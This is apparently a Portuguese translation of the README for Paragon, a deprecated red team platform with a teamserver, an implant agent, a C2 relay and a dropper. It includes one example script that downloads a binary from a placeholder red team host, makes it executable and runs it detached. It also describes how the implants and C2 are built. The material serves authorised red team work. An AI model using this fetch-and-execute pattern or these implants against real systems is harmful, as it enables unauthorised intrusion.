
Plataforma de engajamento da Red Team com o objetivo de unificar ferramentas ofensivas por trás de uma interface simples.
Este projeto foi descontinuado. Consulte nosso novo Projeto Realm, que se baseia em muitas das ideias que tivemos ao construir este repositório.

Paragon é uma plataforma de engajamento de Red Team. Seu objetivo é unificar ferramentas ofensivas atrás de uma IU simples, abstraindo grande parte do trabalho de backend para permitir que operadores foquem em escrever implants e gastem menos tempo se preocupando com bancos de dados e CSS. O repositório também oferece algumas ferramentas ofensivas já integradas ao Paragon que podem ser usadas durante engajamentos.
Este repositório ainda está em forte desenvolvimento e não está pronto para uso em produção. Quando considerado estável, uma tag V1.0.0 será lançada. Até lá, a API pode sofrer alterações que quebrem a compatibilidade à medida que simplificamos continuamente nosso design. Leia a documentação do desenvolvedor abaixo se quiser nos ajudar a alcançar este marco mais rapidamente.
Uma instância de demonstração rápida pode ser configurada clonando o repositório e executando docker-compose up. Abra 127.0.0.1:80 no seu navegador para começar!
As imagens utilizadas estão disponíveis no docker-hub e podem ser configuradas a partir de um arquivo docker-compose para uma implantação em produção.
A maioria dos componentes neste repositório depende de uma linguagem de script semelhante ao Python, que permite controle poderoso e personalização de seu comportamento. A linguagem é uma versão modificada do starlark do Google, estendida com funcionalidade multiplataforma para operadores. Isso também permite que ferramentas como o agente e o dropper (discutidos abaixo) executem tarefas sem depender de binários do sistema (curl, bash, etc.). Todas as operações são executadas como código em Go, então é intuitivo adicionar funcionalidades adicionais ao ambiente de script. Aqui está um exemplo de script:
# Download a file via https, execute it, and don't keep it as a child process.
load("sys", "request")
new_bin = "/tmp/kqwncWECaaV"
request("https://library.redteam.tld", writeToFile=new_bin)
# set new_bin permissions to 0755
chmod(new_bin, ownerRead=True, ownerWrite=True, ownerExec=True, groupRead=True, groupExec=True, worldRead=True, worldExec=True)
exec(new_bin, disown=True)
Fornece uma aplicação web simples e API GraphQL para interfacear com um grafo de conhecimento da Red Team, unificando ferramentas por trás de uma fonte centralizada de verdade e abstraindo muitas preocupações tediosas de backend dos operadores. Integre suas ferramentas personalizadas com o Teamserver (usando a API GraphQL ou assinaturas de eventos) para economizar tempo no trabalho de backend. O Teamserver registra toda a atividade, então com todas as suas ferramentas unificadas em um só lugar, escrever relatórios pós-engajamento se torna significativamente mais fácil.
As ferramentas abaixo também estão incluídas no repositório. Elas podem ser facilmente estendidas para atender a muitos casos de uso multiplataforma.
O Paragon fornece uma ferramenta para empacotar assets (binários, scripts, etc.) em um único binário que, quando executado, executará seu script de implantação personalizado que pode escrever assets no sistema de arquivos, iniciar processos, baixar arquivos, lidar com erros e muito mais. É totalmente multiplataforma e compilado estaticamente, fornecendo implantações confiáveis. Se você deseja estender sua funcionalidade, pode simplesmente estender o arquivo Go gerado antes de compilar.
Um implante que executa tarefas e relata resultados de execução. É configurado por padrão para executar tarefas usando a linguagem de script semelhante ao Python do Paragon e para se comunicar com um C2 via http(s). É escrito em Go e pode ser rapidamente modificado para adicionar novos métodos de transporte (ex: DNS), opções de execução, lógica de failover e muito mais.
Atua como intermediário entre o Agent e o Teamserver. Ele lida com callbacks de agentes para uma variedade de mecanismos de comunicação e fornece novas tarefas da fila do teamserver.
Em vez de aguardar um callback, algumas situações podem exigir uma conexão direta para executar rapidamente uma tarefa e visualizar sua saída. O Runner realiza isso assinando filas de tarefas e estabelecendo uma conexão com a máquina alvo (ex: usando ssh). Isso permite que integrações do tipo shell utilizem a mesma interface que implants e C2s. Também permite que a implantação inicial do implante seja conduzida através desta interface.
Monitore a atividade da rede alvo e serviços visíveis. Mapeie um gráfico da rede do engajamento e acione automação em mudanças de estado (ex: ssh fica disponível).
Definir a variável de ambiente killswitch PG_KS_MachineUUID para o teamserver desabilitará as consultas que utilizam UUIDs de máquina.
Para garantir uma comunicação clara sobre esses sistemas complexos, descrevemos abaixo alguns termos específicos do projeto que serão usados em toda a documentação do projeto.
Qualquer software malicioso que será executado em sistemas comprometidos durante o engajamento.
Operações desejadas a serem executadas em um sistema comprometido específico. As Tarefas fornecem instruções de execução para implants, no entanto sua sintaxe/estrutura pode ser completamente específica para uma ferramenta.
Um Implante que recebe tarefas do teamserver, as executa e relata seus resultados. Uma implementação padrão extensível está incluída neste repositório, que exige que as tarefas sejam fornecidas como scripts escritos usando o DSL semelhante a Python do projeto.
Solicitações para que o Teamserver execute um conjunto de operações dadas. Ao criar um job, as instruções serão salvas, mas não executadas. O usuário pode solicitar que o Teamserver execute um job zero ou mais vezes, enfileirando o job e fornecendo os parâmetros necessários para ele. Os jobs nunca podem ser atualizados, mas novas versões de jobs podem ser criadas para evitar copiar e colar excessivos.
Um caso de uso comum para um Job é quando o usuário deseja executar um script em alguns Targets. O usuário cria um job, que instrui o teamserver a criar tarefas com o conteúdo fornecido, mas deixa as máquinas alvo desejadas como parâmetro. Quando o job é enfileirado, o usuário fornece uma lista de máquinas alvo como parâmetro, e o Teamserver criará uma tarefa para cada máquina.
Abaixo serve como uma referência inicial e breve para o desenvolvimento do Paragon. Mais documentação pode ser encontrada nas godocs do pacote ou lendo um pouco do código :) Depois que finalizarmos algumas decisões de design (bem antes de atingir v1), um congelamento de código entrará em vigor até que toda a documentação tenha sido atualizada e organizada adequadamente.
Remote - Containers fornecida pela Microsoft é necessária para começar.Após instalar os pré-requisitos listados acima, você poderá começar rapidamente. Simplesmente clone o repositório e abra-o no VSCode. Você será solicitado a abrir o código em um contêiner de desenvolvimento, que foi configurado com todas as dependências do projeto e ferramentas de desenvolvedor que você precisará. Se esta opção não aparecer para você, abra a paleta de comandos e execute > Remote-Containers: Open Folder In Container, que deve iniciar o contêiner para você. Se esta for a primeira vez que você inicia o contêiner, pode demorar um pouco para baixar... então pegue um café ^_^
Abaixo está uma visão geral da estrutura do projeto e onde cada componente reside. Se isso ficar desatualizado, sinta-se à vontade para abrir uma issue informando ou, de preferência, um PR para corrigir. O código é configurado como um monorepositório, o que nos permite aproveitar ferramentas de desenvolvimento compartilhadas, padronização, etc., evitando conflitos de versão complicados.
| Pasta | Casos de Uso |
|---|---|
| .devcontainer | Configuração para o ambiente de desenvolvimento em contêiner do VSCode. |
| .github | Configuração do Github. |
| .stats | Um diretório ignorado pelo git (que você pode ou não ter) para armazenar saída de perfil de desempenho. |
| ent | Definições de API relacionadas a grafos usadas pelo teamserver. |
| graphql | Esquema GraphQL e código relacionado gerado a partir de ent. |
| cmd | Ferramentas executáveis de linha de comando e serviços. |
| dist | Um diretório ignorado pelo git para armazenar artefatos de build. |
| docker | Dockerfiles usados para implantação de exemplo. |
| ent | Modelos e esquemas de grafos usados pelo teamserver (veja a ferramenta entgo do Facebook para mais informações). |
| pkg | Bibliotecas públicas utilizadas pelas ferramentas do repositório, mas também expostas ao mundo. |
| pkg/agent | Uma abstração para criar facilmente um implante ou transporte de comunicação. |
| pkg/c2 | Helpers relacionados ao serviço C2 e definições padronizadas de mensagens. |
| pkg/c2/proto | Especificação Protobuf para definir um formato de serialização padronizado para comunicação Agent <-> C2. |
| pkg/drop | Fornece um método simples usado por payloads dropper compilados. |
| pkg/middleware | Middleware comum para serviços HTTP. |
| pkg/script | Linguagem de script semelhante ao Python para configuração dinâmica, automação e exploração multiplataforma. |
| pkg/script/stdlib | Bibliotecas padrão que expõem funcionalidades para ambientes de execução de script. |
| pkg/teamserver | Helpers relacionados ao serviço Teamserver. |
| www | Contém a aplicação web principal hospedada pelo teamserver. Criado pelo create-react-app do Facebook. |
| www/src/components | Componentes React reutilizáveis. |
| www/src/config | Configuração da Web App e roteamento. |
| www/src/views | Contêineres que consultam dados do Teamserver e compõem componentes para renderizar. |
Abaixo está uma visão geral da relação entre nós no grafo de conhecimento da Red Team gerenciado pelo Teamserver.

prioridade de transporte. Para usar o seu próprio, simplesmente implemente a interface agent.Sender e registre seu transporte durante a inicialização. Exemplos de transportes existentes podem ser encontrados em subdiretórios do pacote agent.
Por padrão, o agente espera que as tarefas adiram à sintaxe do Starlark e expõe uma biblioteca padrão para scripts utilizarem. Para alterar o comportamento da execução de tarefas (por exemplo, apenas comandos bash), você pode implementar a interface agent.Receiver para executar tarefas como desejar.
O ambiente de script pode ser personalizado para o seu agente, permitindo que você empacote facilmente novas funcionalidades para scripts utilizarem. Consulte opções de script para aprender como estender o mecanismo de script do agente.
Abaixo está um diagrama de fluxo da execução geral do implante do agente.
O agente é projetado para ser facilmente personalizado com novos mecanismos de transporte, multiplexando comunicações com base em
